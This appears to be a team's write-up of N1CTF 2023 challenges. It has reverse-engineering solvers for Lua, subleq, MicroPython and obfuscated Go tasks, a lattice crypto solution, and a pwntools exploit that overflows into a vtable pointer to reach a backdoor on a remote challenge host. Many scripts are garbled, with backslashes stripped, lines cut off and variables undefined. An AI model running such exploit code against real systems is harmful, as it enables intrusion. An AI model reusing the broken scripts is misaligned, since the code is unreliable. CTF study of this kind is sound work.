HEADER
团队简介:
山海关安全团队(www.shg-sec.com)是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。Arr3stY0u(意喻”逮捕你“)战队与W4ntY0u(意喻”通缉你“)预备队隶属于CTF组,我们积极参与国内外各大网络安全竞赛的同时并依托高超的逆向分析与情报分析、渗透测试技术为群众网络安全保驾护航尽一份力,简单粗暴,向涉网犯罪开炮。
题目附件下载地址请后台回复:n1ctf2023
REVERSE
AdditionPlus:
输入的每八个字符一组,进行一轮变换
一轮变换调用八个不同的函数,生成八个不同的值
于是考虑利用Ponce的符号执行引擎,每次解出八个字符
以最后八个字符为例
首先将idx初始为40,然后在最后的if校验处进行patch,最后求解即可
前面五段八个字符的求解同理
不仅需要修改idx初始值,还要修改idx终止值,使其始终相差8
最后的if校验处也是修改`or rdx, rax`为相应的rax或rdx寄存器即可
于是最终的flag为:
“n1ctf{c327b78b-8ead-425H1N09d-89fb-1d2d0a8f3e7c}”
N1LLua:
lua5.3套了个lua5.2解释器,pow指令存在魔改。
从resources.assets提取出hex字节码反编译
function encrypt(v, k, p)
local v0, v1 = v
, v
local sum = 0
local delta = 2654435769
local k0, k1, k2, k3 = k[1], k[2], k[3], k[4]
for i = 1, 32 do
sum = sum + delta
v0 = v0 + bit32.bxor(bit32.bxor(v1 ^ 4 + k0, v1 + sum), v1 ^ 5 + k1)
v1 = v1 + bit32.bxor(bit32.bxor(v0 ^ 4 + k2, v0 + sum), v0 ^ 5 + k3)
end
v
, v
= v0, v1
end
function main(x)
local k = {
3735928575,
3405691582,
3735929054,
3221229823
}
local v = x
for i = 0, #v - 1, 2 do
encrypt(v, k, i)
end
return v
end
return main(...)
直接用lua5.2运行无法得到和题目一样的结果,把pow5的魔改添加进去也不行,原因不明。
估计是pow4的结果不对导致的。
用unluac生成反汇编代码,然后把加密改成解密让程序自动输出flag。
.constant k0 1
.constant k1 2
.constant k2 84941944608
.constant k3 2654435769
.constant k4 3
.constant k5 4
.constant k6 32
.constant k7 "bit32"
.constant k8 "bxor"
.constant k9 5
.line 44 add r3 r2 k0 ; k0 = 1
.line 44 gettable r3 r0 r3
.line 44 add r4 r2 k1 ; k1 = 2
.line 44 gettable r4 r0 r4
.line 45 loadk r5 k2 ; k2 = 0
.line 46 loadk r6 k3 ; k3 = 2654435769
.line 47 gettable r7 r1 k0 ; k0 = 1
.line 47 gettable r8 r1 k1 ; k1 = 2
.line 47 gettable r9 r1 k4 ; k4 = 3
.line 47 gettable r10 r1 k5 ; k5 = 4
.line 49 loadk r11 k0 ; k0 = 1
.line 49 loadk r12 k6 ; k6 = 32
.line 49 loadk r13 k0 ; k0 = 1
.line 49 forprep r11 l40
.label l15
.line 54 gettabup r15 u0 k7 ; k7 = "bit32"
.line 54 gettable r15 r15 k8 ; k8 = "bxor"
.line 54 gettabup r16 u0 k7 ; k7 = "bit32"
.line 54 gettable r16 r16 k8 ; k8 = "bxor"
.line 54 pow r17 r3 k5 ; k5 = 4
.line 54 add r17 r17 r9
.line 54 add r18 r3 r5
.line 54 call r16 3 2
.line 54 pow r17 r3 k9 ; k9 = 5
.line 54 add r17 r17 r10
.line 54 call r15 3 2
.line 54 sub r4 r4 r15
.line 53 gettabup r15 u0 k7 ; k7 = "bit32"
.line 53 gettable r15 r15 k8 ; k8 = "bxor"
.line 53 gettabup r16 u0 k7 ; k7 = "bit32"
.line 53 gettable r16 r16 k8 ; k8 = "bxor"
.line 53 pow r17 r4 k5 ; k5 = 4
.line 53 add r17 r17 r7
.line 53 add r18 r4 r5
.line 53 call r16 3 2
.line 53 pow r17 r4 k9 ; k9 = 5
.line 53 add r17 r17 r8
.line 53 call r15 3 2
.line 53 sub r3 r3 r15
.line 50 sub r5 r5 r6
.label l40
.line 49 forloop r11 l15
.line 57 add r11 r2 k0 ; k0 = 1
.line 57 add r12 r2 k1 ; k1 = 2
.line 57 move r13 r3
.line 57 settable r0 r12 r4
.line 57 settable r0 r11 r13
.line 58 return r0 1
改完后用unluac汇编回去,写回resources.assets
然后用dnSpy修改Assembly-CSharp.dll
ulong[] array = new ulong[]
{
0UL,
75405591852UL,
78071625542UL,
69577277816UL,
57193980063UL
};
for (int i = 0; i < 4; i++)
{
luaTable.Set<int, ulong>(i + 1, array[i + 1]);
}
LuaTable luaTable2 = fdelegate(luaTable);
luaTable2.Cast<ArrayList>();
bool flag = true;
for (int j = 1; j < array.Length; j++)
{
if (array[j] != luaTable2.Get<int, ulong>(j))
{
string text2 = "";
for (int k = 0; k < 4; k++)
{
text2 += Encoding.UTF8.GetString(BitConverter.GetBytes(luaTable2.Get<int, ulong>(1 + k))).Substring(0, 4);
}
this.result.text = text2;
this.luaenv.Dispose();
this.luaenv = null;
return;
}
}
按下按钮后就得到flag了
> E5c4p3_N1Lva7ua!
h2o:
题目是只有一条suble指令的vm。
指令格式为suble a, b, dest。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
pc = 0LL;
do
{
v5 = data[pc];
v6 = data[pc + 1];
v4 = pc + 3;
if ( v6 < 0 )
{
putc(data[v5], stdout);
}
else if ( v5 < 0 )
{
data[v6] = getc(stdin);
}
else
{
v7 = data[pc + 2];
v8 = data[v5];
v9 = data[v6] <= v8;
data[v6] -= v8;
if ( !v9 )
v7 = v4;
v4 = v7;
}
pc = v4;
}
while ( v4 < 211124 );
return 0LL;
}
先写个脚本dump常量。
import struct
import sys
import ctypes
data = list(struct.unpack_from('<211124q', open('h2o', 'rb').read(), 0x3040))
pc = 0x2b
count = 0
s = b''
while pc < 211124:
if data[pc] != 0:
v = 0-data[pc]
if 32 <= v <= 126:
# print(hex(pc), v, chr(v))
s += bytes([v])
if 211124 < v < 2**32:
hex(v))
pc += 1
print(s)
0x10f62 0x636f3268
0x1706a 0x636f3268
0x17099 0x636f3268
0x170c8 0x636f3268
0x170f7 0x636f3268
0x1718d 0x75ff64c2 疑似enc_flag
0x171bc 0x357e9a47
0x171eb 0x418d87a7
0x1721a 0x4d8e0a6d
0x17249 0x697bb443
0x17278 0x39398747
0x172a7 0x3deba139
0x172d6 0xc34f49bb
b'???-0000*Runtime error: Array index out of bounds/Runtime error: Use of an uninitialized memory%Runtime error: Invalid array recastUnknown runtime error!# ******************************** Welcome to N1CTF2023 **** >> h2o << **** a.k.a. Ancient Game V3 ********************************Input your flag: Verifying...OK!Try again.'
程序getc的次数是32,猜测flag长度就是32,和dump出来的常量对应上。
trace脚本
import struct
import sys
import ctypes
data = list(struct.unpack_from('<211124q', open('h2o', 'rb').read(), 0x3040))
pc = 0
traced = ['']*211124
counts = [0]*211124
flags = [
0x00000000, 0x00000000,
0x00000000, 0x00000000,
0x00000000, 0x00000000,
0x00000000, 0x00000000,
]
flag = struct.pack('<8I', *flags)
count = 0
rounds = 0
while pc < 211124:
v5 = data[pc]
v6 = data[pc + 1]
v4 = pc + 3
s = ''
if v6 < 0:
sys.stdout.write(chr(data[v5]))
s = f'{pc:08X}: write(m[{hex(v5)}])'
elif v5 < 0:
# data[v6] = ord(sys.stdin.read(1))
data[v6] = flag[count]
count += 1
s = f'{pc:08X}: m[{hex(v6)}]=read(1)'
else:
v7 = data[pc + 2]
value = ctypes.c_int64(data[v6]-data[v5]).value
# n = 0x2f208f6d
# t = value in (n, -n) and data[v6] != 0 and data[v5] != 0
# t = ((data[v6] in (n, -n) and data[v5] != 0) or (data[v5] in (n, -n) and data[v6] != 0)) and (v6 != v5)
t = pc in [0x00012071, 0x000121EE, 0x00013B7D, 0x000191FE]
# t = pc == 0x00005670)
# if pc == 0x00012071:
# rounds += 1
# t = False
# if 1 <= rounds < 2:
# t = True
if not traced[pc] or t:
if v6 == v5:
s = f'{pc:08X} | goto {v7:08X}'
else:
s = f'{pc:08X} | [{hex(v6)}]:{hex(data[v6])} <= [{hex(v5)}]:{hex(data[v5])} = {hex(value)}; goto {v7:08X}'
if t:
print(f'{counts[pc]:-4}| ',s)
v9 = data[v6] <= data[v5]
# if pc == 0x000121EE:
# value = 0xFF_FF_FF_FF
data[v6] = value
if v9:
# if pc != 0x0001AB5C:
v4 = v7 # goto xx
# if pc == 0x00013B7D:
# print(f'0x{(data[v6]^(0x636f3268*2)):08X}')
# exit()
traced[pc] = s
counts[pc] += 1
pc = v4
# for i in range(211124):
# if traced[i]:
# print(f'{counts[i]:10} ||| {traced[i]}')
Input your flag:
Verifying...
0| 00012071 | [0xd]:0x0 <= [0x24]:0x0 = 0x0; goto 00012074
0| 000121EE | [0xc]:0x0 <= [0x24]:-0x636f3268 = 0x636f3268; goto 000121F1
0| 00013B7D | [0xc]:0x0 <= [0x24]:-0x37cd2004 = 0x37cd2004; goto 00013B80
1| 00012071 | [0xd]:0x9a9f3c80 <= [0x24]:-0x37cd2004 = 0xd26c5c84; goto 00012074
1| 000121EE | [0xc]:0x636f3268 <= [0x24]:-0x14b23854 = 0x78216abc; goto 000121F1
1| 00013B7D | [0xc]:0x37cd2004 <= [0x24]:-0x72f09a5e = 0xaabdba62; goto 00013B80
2| 00012071 | [0xd]:0x79de32e9 <= [0x24]:-0xaabdba62 = 0x1249bed4b; goto 00012074
2| 000121EE | [0xc]:0x78216abc <= [0x24]:-0xed67a73 = 0x86f7e52f; goto 000121F1
2| 00013B7D | [0xc]:0xaabdba62 <= [0x24]:-0x2f4ac7d4 = 0xda088236; goto 00013B80
3| 00012071 | [0xd]:0x126c4e08 <= [0x24]:-0xda088236 = 0xec74d03e; goto 00012074
3| 000121EE | [0xc]:0x86f7e52f <= [0x24]:-0x61c8199e = 0xe8bffecd; goto 000121F1
3| 00013B7D | [0xc]:0xda088236 <= [0x24]:-0x17aae2f90 = 0x254b6b1c6; goto 00013B80
4| 00012071 | [0xd]:0x6c3156c7 <= [0x24]:-0x54b6b1c6 = 0xc0e8088d; goto 00012074
4| 000121EE | [0xc]:0xe8bffecd <= [0x24]:-0x31c3f485 = 0x11a83f352; goto 000121F1
4| 00013B7D | [0xc]:0x54b6b1c6 <= [0x24]:-0x1d0164f76 = 0x224cd013c; goto 00013B80
...
...
...
28| 00012071 | [0xd]:0x6c3156c7 <= [0x24]:-0x54b6b1c6 = 0xc0e8088d; goto 00012074
28| 000121EE | [0xc]:0xe8bffecd <= [0x24]:-0x31c3f485 = 0x11a83f352; goto 000121F1
28| 00013B7D | [0xc]:0x54b6b1c6 <= [0x24]:-0x1d0164f76 = 0x224cd013c; goto 00013B80
29| 00012071 | [0xd]:0x9a914c04 <= [0x24]:-0x24cd013c = 0xbf5e4d40; goto 00012074
29| 000121EE | [0xc]:0x1a83f352 <= [0x24]:-0x1ebc56330 = 0x206495682; goto 000121F1
29| 00013B7D | [0xc]:0x24cd013c <= [0x24]:-0xa7647e07 = 0xcc317f43; goto 00013B80
30| 00012071 | [0xd]:0x61ce43fd <= [0x24]:-0xcc317f43 = 0x12dffc340; goto 00012074
30| 000121EE | [0xc]:0x6495682 <= [0x24]:-0x195f5a398 = 0x19c3efa1a; goto 000121F1
30| 00013B7D | [0xc]:0xcc317f43 <= [0x24]:-0x166272b0 = 0xe293f1f3; goto 00013B80
31| 00012071 | [0xd]:0x2469a9c7 <= [0x24]:-0xe293f1f3 = 0x106fd9bba; goto 00012074
31| 000121EE | [0xc]:0x9c3efa1a <= [0x24]:-0x1d8408fa = 0xb9c30314; goto 000121F1
31| 00013B7D | [0xc]:0xe293f1f3 <= [0x24]:-0x1de0dba0c = 0x2c0a1abff; goto 00013B80
0| 000191FE | [0x24]:-0x75ff64c2 <= [0x25]:-0xb9c30314 = 0x43c39e52; goto 00019204
调调猜猜几个小时后恢复该算法
import struct
delta = 0x636f3268 # h2oc
def encrypt(v0, v1):
_sum = delta
for i in range(8):
v0 += ((((v1 << 9) ^ (v1 >> 6)) + v1) ^ _sum)
v0 &= 0xFFFFFFFF
_sum += delta
_sum &= 0xFFFFFFFF
v1 += ((((v0 << 2) ^ (v0 >> 10)) + v0) ^ _sum)
v1 &= 0xFFFFFFFF
# print(hex(v0), hex(v1))
return v0, v1
def decrypt(v0, v1):
_sum = delta*(8+1)
for i in range(7, -1, -1):
v1 -= ((((v0 << 2) ^ (v0 >> 10)) + v0) ^ _sum)
v1 &= 0xFFFFFFFF
_sum -= delta
_sum &= 0xFFFFFFFF
v0 -= ((((v1 << 9) ^ (v1 >> 6)) + v1) ^ _sum)
v0 &= 0xFFFFFFFF
# print(hex(v0), hex(v1))
return v0, v1
v1 = encrypt(0x30303030, 0x30303031)
v1 = decrypt(v0, v1)
hex(v1))
enc_flag = [
0x357e9a47,
0x4d8e0a6d,
0x39398747,
0xc34f49bb,]
flag = b''
for i in range(0, 8, 2):
v1 = decrypt(enc_flag[i], enc_flag[i+1])
flag += struct.pack('<2I', v0, v1)
# n1ctf{a_n1ce_h2occ_powered_xtea}
Micro_Check:
micropython+字节码花指令
直接用官方仓库的mpy-tool.py
parent_name = 'test_parent_name'
_qstr_table = ['apa106.py', 'NeoPixel', 'neopixel', 'APA106', ...]
_qstr_const_table = ['', '', '__dir__', 'n', ' ', '*', '/', '<module>', ...]
_qstr_const_table.extend(_qstr_table)
obj_table = [
'unk_0x21EA',
0.2,
'const_obj_finish_it_2',
'const_obj_finish_it_3',
0x4E75314C,
"nnWelcome to N1CTF 2023nn",
'unk_21F2',
'unk_21FA'
]
qstr_table_data_finish_it = [0x0431, 0x0007, 0x01A5, 0x0312, 0x03E5, 0x003C, 0x015F, 0x01A1, 0x0432, 0x00A2, 0x0433, 0x0434, 0x0001, 0x0435, 0x03B9, 0x0436, 0x0437, 0x0339, 0x01ED, 0x0240, 0x0311, 0x0275, 0x0071, 0x0438, 0x0439, 0x043A, 0x007B, 0x043B, 0x005E, 0x043C, 0x007A]
qstr_table = []
for x in qstr_table_data_finish_it:
s = _qstr_const_table[x]
print('#:', hex(x), s)
qstr_table.append(QStrType(s))
# qstr_table = [QStrType(x) for x in _qstr_table]
# for s in _qstr_table:
# h = qstrutil.compute_hash(s.encode(), 2)
# if h == 0x9999:
# print(s)
fun_data_main = bytes.fromhex(
'181416803D2727202527274C121A2305340159121A2306340159120D3400C01210B034014453121A23073401591204140E22A7083601594247121A101734015942185163')
fun_data_check = bytes.fromhex('591C101D802D45262823262A28232842426E809162EE943E4005C25F6216DB6EC314183CCFA55658B6129E4735726B9E1F9BF93078214704C766B2E534F766CF80518180EE437E7E99C9604FF3394C198CBC03A532961A2D12D8221FF9FBE7AE11126AC22EBF9CE829203B8B691702F691D651ABDC734741D9538412DF8AA848CE0117EFB91B11C1B114123600C2B28180EF446C830685F4603C2880DFC8DC0A087ADDFC26B4B4A82CB0E78C1D67BC86D759E54F8A5A779E675BEEF9727B3DE8141310143601C32302C4120FB33401C5120F8180ED4345DC6311489DB01415360034014248559D66E8AC0DC692C0121EB0425221184B6E34D36FFEE2FFF654E71405B1F7A7B5B43403C681437B871D71AFDF8571C1C9B003F38B0CA57D1D1EC76F1308579DF8637B586AA253E73CC969F0978F79012CE505EBE907AB80DBF5390292C2B658A0235223038181EE447A063322DF304C777AEBC870D72557D3F60EF771495F2614CD81E7F4BD9ADE22D4A4AE9C40C8848C93ACC9CFFFC9BD16F7082F42E898C61D3CBCD2C7B6B78180ED43593EDA0DA1062C5510E9D258E121E58A24F71849F9DC69CC2E862304F2D9426FE97FF0B18492CA9203D4AA496A8134C045BBABA2F5F38CA74DD41C30EC5ECAAC7298ABDBBE33105C23FF5495C7AAB94442526350635163')
fun_data_bytes_to_long = bytes.fromhex(
'490E0F1B802722252E80C1B05F4B0FC2B1228200F4121CB23401F2C1422FB163')
fun_data_get_input = bytes.fromhex('28200D801523202526222629264224252D464249BE715C23113E92CBC1100C814346008CFAC3B1C5C012083400C1B1100CD94442427CB1100AD94449B0517F2E0255C0424CB1100BD94442B063B0B1E5C080424957C2121A34005981E5578AD7433259121AB03401591204140E230136015942B47F80445896294B014A36CA7BD92E993743F17CA547C24CF62BA4FBEC8180EE43755CD4B30087275AE46BEAD6F29D41E90963EF12CB1D3DC3DAB7D62B3C435B6A2C39764EE4BAEC2F55C5B7DD1600365D523BEF27704651424331DAF463')
fun_data_read_button = bytes.fromhex('2016088009232A232A43252A2C426556A1789638700014C9F49A00094ED788AABE11006333A8C668430FEC5A08EA1750C03F818B23008180ED435A3717D7459D70ADF988DC595672FC3B6F0147969D47EFF73641A3C012189055140936004343100A6312189155140980447B08FB89DD178430D2E7C534456272C605118E08D63ED97606291D149B9B95D59E24DBE047047AD6636AA790C783D197C39BB06AB27AFC537B8B9CF236004343100B6380425257C11218B155140936004344B0B1556381E55790D743298180ED435CE65D2B0543C27DB1DC466C977B4A85ACDC3ABFDE1335C6834B8E863B59426250E4542BBD24265BA7AB9DE10D5DA51A8C8A79D81DB2EF57E926E7DD292D622D174B100C63')
fun_data_module_gt = bytes.fromhex('301C012C4624267D840C841264608410801002425CE07F82F379A4F39C97E6D914E014863B2F86C0EFBAE8AABBD02A0EF92A0181435363270D23B2B509644C53AE917989B442E930FF1B031C0280447FC9BA3AD059135DFD88B8CF690574CA0B1D703B6870919FE9857DF4E02B8F250E55AD37CEA27474244460DA11FE7E5D1047C4DA5068183CE4528D138B368A4816028180EE43498DA05D0AF84E10F1265980511B0416042B00161880425A57161911181405110211191102130611021307340336015981E55792D7432142736692D025792C883F463F59CEEB7BFAC1E6581C290F8DC6BCEDA144C75FE78CEAC97375DCA55549EB1017A313788B0FF71E74C6425974805079C888A8A2CCE778BBA1730C0E253E56EEA483BB84A25932008180ED4366B4BFB7B049B3E46D9A1E1EB83931EB8098C7940D16774F7002F8A07F3BA9AC9BABD138E9B22716088181EE4465EEE8B85CDE97F10D919387A7E3F7F947EE52B8CA5E2CAF0FAD11B4C00B11C8B7C0293F2CF33201160D3202160F32031610320416168180EE437C6F7BBCEA543371DEFDB237E99FC5CF269013D5C35A489B9B4D04D722221EB1D87960F09F64C335577DB85B429D7E3B9C1369B0280CBBB6CE105F2DA851425DD206D936539AEF403B40544E40CDAD35B34FE9AF56E97F80057109D7B663')
#
# obj_table = [
# "The filesystem appears to be corrupted",
# 'unk_2182',
# "# This file is executed on every boot (including wake-boot fr",
# ]
# fun_data_inisetup_setup = bytes.fromhex('34200D802525272D2B2B2D2B2B2A2B2388081205340059121A23013401591203140E36008455100FD9445612021310141112033601591202141012033601C042631203140E360084551012D9445612021313141112033601591202141312033601C0424012021414B01015360259121B101610173402470AC1B114182302360159515C5DB063')
rc = RawCodeBytecode(parent_name, qstr_table, obj_table, fun_data_check)
rc.children = []
rc.disassemble()
修改一下disassemble方法
if 'unknown' in Opcode.mapping[bc[ip]]:
exit()
obf = [
[fun_data_get_input, (
18, 203, # JUMP
32, 147, # POP_JUMP_IF_TRUE
118 # POP_JUMP_IF_FALSE
)],
[fun_data_read_button, (
13, 234, # JUMP
57, # POP_JUMP_IF_TRUE
106, 203 # POP_JUMP_IF_FALSE
)],
[fun_data_check, (
16, 227, 241, 430, # JUMP
69, 267, 399, 213, # POP_JUMP_IF_TRUE
146, 333 # POP_JUMP_IF_FALSE
)],
[fun_data_module_gt, (
19, 204, 257, 456, # JUMP
52, 148, 290, 393, # POP_JUMP_IF_TRUE
78, 335 # POP_JUMP_IF_FALSE
)],
]
aa = 0
for fun_data, junks in obf:
if self.fun_data == fun_data and ip in junks:
# ip = ip + sz + arg
aa = 1
break
if aa:
ip = ip + sz + arg
continue
simple_name: check
raw bytecode: 487
prelude: (12, 0, 0, 1, 0, 0)
args: ['flag']
line info: 80:2d:45:26:28:23:26:2a:28:23:28:42
0064 80 LOAD_CONST_SMALL_INT 0
0065 51 LOAD_CONST_NONE
# network.WLAN()
0133 1b:11 IMPORT_NAME network
0135 c1 STORE_FAST 1
0136 b1 LOAD_FAST 1
0137 14:12 LOAD_METHOD WLAN
0139 36:00 CALL_METHOD 0
0141 c2 STORE_FAST 2
0142 b2 LOAD_FAST 2
# .config('mac')
0192 14:13 LOAD_METHOD config
0194 10:14 LOAD_CONST_STRING mac # "40:4e:75:31:4c:3b" @Nu1L;
0196 36:01 CALL_METHOD 1
0198 c3 STORE_FAST 3
# 7273875847584138403660973344082243622727458256015327174568591072856337650309388133371696045470954034793473914381054574383762275717483579989174823689448233
# 77075929738710336900303814411525983845917535953388381837644686540024558690121
# 94372858974816014947153922625328010685236466857841138326117600433844030901473
0199 23:02 LOAD_CONST_OBJ 'const_obj_finish_it_2'
0201 c4 STORE_FAST 4
# v5 = bytes_to_long(mac)
0202 12:0f LOAD_GLOBAL bytes_to_long
0204 b3 LOAD_FAST 3
0205 34:01 CALL_FUNCTION 1
0207 c5 STORE_FAST 5
# v0 = bytes_to_long(flag.encode())
0208 12:0f LOAD_GLOBAL bytes_to_long
0220 b0 LOAD_FAST 0
0221 14:15 LOAD_METHOD encode
0223 36:00 CALL_METHOD 0
0225 34:01 CALL_FUNCTION 1
0237 c0 STORE_FAST 0
0238 12:1e LOAD_GLOBAL pow
0240 b0 LOAD_FAST 0
0261 b5 LOAD_FAST 5 # bytes_to_long(mac) exp
0262 b4 LOAD_FAST 4 # const_obj_finish_it_2 N
0263 34:03 CALL_FUNCTION 3 # pow
0265 c6 STORE_FAST 6
# 829754509601212057097555409290908564120441488660876903294495763502733176789338351112700915873313162861511090491600160904593318544012327431825817627189975
0328 23:03 LOAD_CONST_OBJ 'const_obj_finish_it_3'
0393 c7 STORE_FAST 7
0394 b6 LOAD_FAST 6
0395 b7 LOAD_FAST 7 # (bn1 + 1316303180 == bn2)
0426 23:04 LOAD_CONST_OBJ 1316303180
0428 f2 BINARY_OP 27 __add__
0429 d9 BINARY_OP 2 __eq__
0479 44:42 POP_JUMP_IF_FALSE 2 ; 0483
0481 52 LOAD_CONST_TRUE
0482 63 RETURN_VALUE
0483 50 LOAD_CONST_FALSE
0484 63 RETURN_VALUE
import gmpy2
from libnum import *
from Crypto.Util.number import bytes_to_long
n = 7273875847584138403660973344082243622727458256015327174568591072856337650309388133371696045470954034793473914381054574383762275717483579989174823689448233
p = 77075929738710336900303814411525983845917535953388381837644686540024558690121
q = 94372858974816014947153922625328010685236466857841138326117600433844030901473
e = bytes_to_long(b'@Nu1L;') # mac
print('e', e)
d = gmpy2.invert(e, (p-1)*(q-1))
bn1 = 829754509601212057097555409290908564120441488660876903294495763502733176789338351112700915873313162861511090491600160904593318544012327431825817627189975
sk = bn1+1316303180
msg = pow(sk, d, n)
# F00739A72C1189D390836438B5549243
print(n2s(int(msg)))
n1go:
先写个脚本解决加密字符串
import re
code = open('./N1G0.go', 'rb').read().decode()
gen_code = r'''
package main
import "fmt"
func main() {
str_pool := []string{
p = 'func() string {[sS]+?}()'
founds = ''
for found in re.findall(p, code):
gen_code += found + ',n'
founds += found + 'MY_SPLIT'
# print(found)
open('./founds.txt', 'wb').write(founds.encode())
gen_code += r'''
}
for i := 0; i < len(str_pool); i++ {
fmt.Printf("%sMY_SPLIT", str_pool[i])
}
}
open('./gen_code.go', 'wb').write(gen_code.encode())
编译运行生成的go源码后得到str_pool.txt
根据str_pool.txt和founds.txt还原明文字符串。
code = open('./N1G0.go', 'rb').read().decode()
founds = open('./founds.txt', 'rb').read().decode().split('MY_SPLIT')[:-1]
str_pool = open('./str_pool.txt', 'rb').read().decode().split('MY_SPLIT')[:-1]
for i, found in enumerate(founds):
code = code.replace(found, f'"{str_pool[i]}"')
open('./N1G0_new.go', 'w').write(code)
统一case常量为字符。
import re
code = open('./N1G0_new_clean.go', 'rb').read().decode()
for asc in range(32, 127):
code = code.replace(f'case {asc}:', f"case '{chr(asc)}':")
open('./N1G0_new_clean2.go', 'wb').write(code.encode())
然后手动去掉无用的print只保留congratulation提示, 并移动放到源码末尾。
...
...
...
func iEF9sE5xanN() {
switch dWhhB1d() {
case 'U':
db9L08X4Z()
case '2':
t1M2SAs_()
case '6':
os.Exit(0)
case 'K':
vRPsVznObub()
}
}
func gdiUX0zuD() {
switch dWhhB1d() {
case 'Y':
dFBfWu()
case '1':
rX7fzHY()
case 'A':
os.Exit(0)
case 'a':
cxsvrsCoQB()
}
}
// cMpCg2IkJ95 -> eicz56Kamp
func eicz56Kamp() {
fmt.Println("congratulation! your flag is N1CTF{md5(your input)}")
}
得到干净的源码后写个脚本跑路径。
import re
code = open('./N1G0_new_clean2.go', 'rb').read().decode()
start = 'cMpCg2IkJ95'
end = 'eicz56Kamp'
fun_list = [fun for fun in re.findall('func ([a-zA-Z0-9_]+)()', code)]
print(len(fun_list))
# case 'Y':
founds = []
for ch, fun in re.findall("case '(.)':s+(.+?)(", code):
if fun not in fun_list:
fun = 'Exit'
found = None
else:
found = (ch, fun)
founds.append(found)
print(len(founds))
game = {}
for i in range(len(fun_list)):
fun = fun_list[i]
_case = founds[i*4:(i+1)*4]
_case = [x for x in _case if x is not None]
print(fun, _case)
game[fun] = _case
def dfs(flag, fun, trace: set):
if fun in trace:
return
if fun == 'eicz56Kamp':
print('found!', flag)
return
trace.add(fun)
for ch, next_fun in game[fun]:
dfs(flag+ch, next_fun, trace.copy())
dfs('', 'cMpCg2IkJ95', set())
# found! LKdwYBeVVLxJw9qU7OQu41Vi1yNKEP8QG57KomIuYvS5uzvO39i0MhoDO6ReG8Q33oXoRnoJA0t9RwBpmtj1zuKmSzpLnIg5PRjCszXgd5mMq25vuvrlCpUW2Es4ymfidLsXvRbeW8a7xKuYPmVvQ3jAUwFUIhGHl7Zus9JqJ4OyCBQ56sjRO1M47G6BmsUes7b1
PWN
n1canary:
自定义的栈保护机制是无法绕过的,因为我们很难确定栈地址低字节的值,也难以确定赋值给syscanary的随机数是什么。
题面实际上充满了迷惑性,这题其实根本就不是打canary。或者说,这题算是canary stack smash思想的一个灵活应用。
漏洞点是溢出,我们可以覆盖main函数保存的一个BOF对象指针。自定义的canary会触发异常导致程序退出,这个时候会对所有的对象进行析构处理。攻击BOF对象指针可以劫持其虚函数表,进而伪造其中的析构函数指针指向程序后门。
溢出时需要正常填写填写原返回地址,胡乱填充会让程序崩溃。异常处理的跳转似乎和这个返回地址有关系。
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
global p
ELFpath='/home/jmpcliff/Desktop/a.out'
#libcpath='/home/jmpcliff/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc-2.31.so'
#p=process(ELFpath)
#p=gdb.debug(ELFpath,'b*$rebase(0x1813)')
p=remote('43.132.193.22',9999)
e=ELF(ELFpath)
#libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('x7f')[-6:].ljust(8,'x00'))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b*0x403381
b*0x403405
b*0x40354C
b*0x403727
b*0x403387
'''.format(text_base, libc_base)
#b*$rebase(0x1813)
#b*$rebase(0x18e5)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
#debug()
ru('To increase entropy, give me your canary')
usercanary=0x4F4AA0
backdoor=0x403387
pay =p64(usercanary+8)
pay+=p64(backdoor)
pay+=p64(backdoor)
pay+=p64(backdoor)
pay+=p64(backdoor)
pay=pay.ljust(0x40,b'x00')
s(pay)
ru('input something to pwn :)')
sl(b'a'*0x68+p64(0x403407)+p64(usercanary))
#sl(0x58*'a')
it()
CRYPTO
lll_test:
from sage.all import *
from Crypto.Util.number import *
from gmpy2 import *
from Crypto.Cipher import AES
p = 115792089210356248762697446949407573529996955224135760342422259061068512044369
m = 0x87322d20128ec12d4290a636a049b8b9fed3ba46cd60acb7aaaf9e27198ca39d
highm = 0x87322d20128ec12d4290a636a049b8b900000000000000000000000000000000
s = 98064531907276862129345013436610988187051831712632166876574510656675679745081
r = 9821122129422509893435671316433203251343263825232865092134497361752993786340
a=(s-r*2^128)
a=invert(a,p)
print(a)
b=(a*(m-highm*s))%p
print(b)
c=(a*r)%p
print(c)
M = Matrix(ZZ,3,3,[[2^128,0,b-2^128 ],
[0,1,c],
[0,0,p]
])
#print(M)
mm = M.LLL()
print(mm)
#[ 340282366920938463463374607431768211456 109657576978117277727118025094273115603 -117622080112774443694333767714409612740]
d2=2^128-117622080112774443694333767714409612740
d1=109657576978117277727118025094273115603
d=d2*2**128+d1
cipher = b'xf3#xffx17xdfxbbxc0xc6vx1bgxc7x8a6xf2xdf~x12xd8]xc5x02Otx99x9fxf7xf3x98xbcx045x08xfbxce1@exbcg[Ixd1xbfxf8xean-'
print(hex(d))
aes = AES.new(long_to_bytes(d), mode=AES.MODE_ECB)
cipher = aes.decrypt(cipher)
print(f'cipher = {cipher}')
#b'n1ctf{Wow!__You_bre4k_my_s1gn_chal1enge!!___}x03x03x03'
FOOTER
